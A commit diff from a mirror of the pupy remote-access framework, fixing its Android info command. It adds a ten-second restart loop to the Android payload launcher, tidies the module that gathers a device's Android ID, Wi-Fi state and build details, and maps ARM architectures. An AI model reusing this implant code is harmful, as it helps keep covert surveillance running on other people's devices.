mirror of https://github.com/n1nj4sec/pupy.git
Fix android info command output
This commit is contained in:
parent
be9d24aa4f
commit
99dce7db7a
|
@ -5,18 +5,19 @@
|
|||
|
||||
import os
|
||||
import platform
|
||||
import time
|
||||
|
||||
os.environ['KIVY_NO_FILELOG']='yes'
|
||||
platform.system = lambda: 'android'
|
||||
|
||||
if __name__ == '__main__':
|
||||
import pp
|
||||
import sys
|
||||
setattr(sys, 'executable', 'PythonService')
|
||||
while True:
|
||||
try:
|
||||
print "starting pupy ..."
|
||||
pp.main()
|
||||
print "pupy exit"
|
||||
except Exception, e:
|
||||
print "pupy crashed: ", e
|
||||
import traceback
|
||||
traceback.print_exc(e)
|
||||
time.sleep(10)
|
||||
|
|
|
@ -67,7 +67,7 @@ class GetInfo(PupyModule):
|
|||
androidID = self.client.conn.modules["pupydroid.utils"].getAndroidID()
|
||||
infos.append(("android_id",androidID))
|
||||
wifiEnabled = self.client.conn.modules["pupydroid.utils"].isWiFiEnabled()
|
||||
infos.append(("wifi_enabled",wifiEnabled))
|
||||
infos.append(("wifi_enabled",wifiConnected or wifiEnabled))
|
||||
infoBuild = self.client.conn.modules["pupydroid.utils"].getInfoBuild()
|
||||
infos.append(("device_name",infoBuild['deviceName']))
|
||||
infos.append(("manufacturer",infoBuild['manufacturer']))
|
||||
|
@ -118,6 +118,8 @@ class GetInfo(PupyModule):
|
|||
for i, (key, value) in enumerate(infos):
|
||||
if value == None or value == "":
|
||||
value = "?"
|
||||
elif type(value) in (list, tuple):
|
||||
value = ' '.join([ unicode(x) for x in value ])
|
||||
infoTemp.append((key, value))
|
||||
infos = infoTemp
|
||||
|
||||
|
|
|
@ -137,6 +137,8 @@ class PupyClient(object):
|
|||
'amd64': 'intel',
|
||||
'x86': 'intel',
|
||||
'i86pc': 'sun-intel',
|
||||
'armv7l': 'arm',
|
||||
'aarch64': 'arm',
|
||||
}
|
||||
|
||||
os_platform_to_arch = {
|
||||
|
@ -149,6 +151,10 @@ class PupyClient(object):
|
|||
# The script is for amd64
|
||||
'32bit': 'i86pc',
|
||||
'64bit': 'i86pc'
|
||||
},
|
||||
'arm': {
|
||||
'32bit': 'arm',
|
||||
'64bit': 'aarch64'
|
||||
}
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue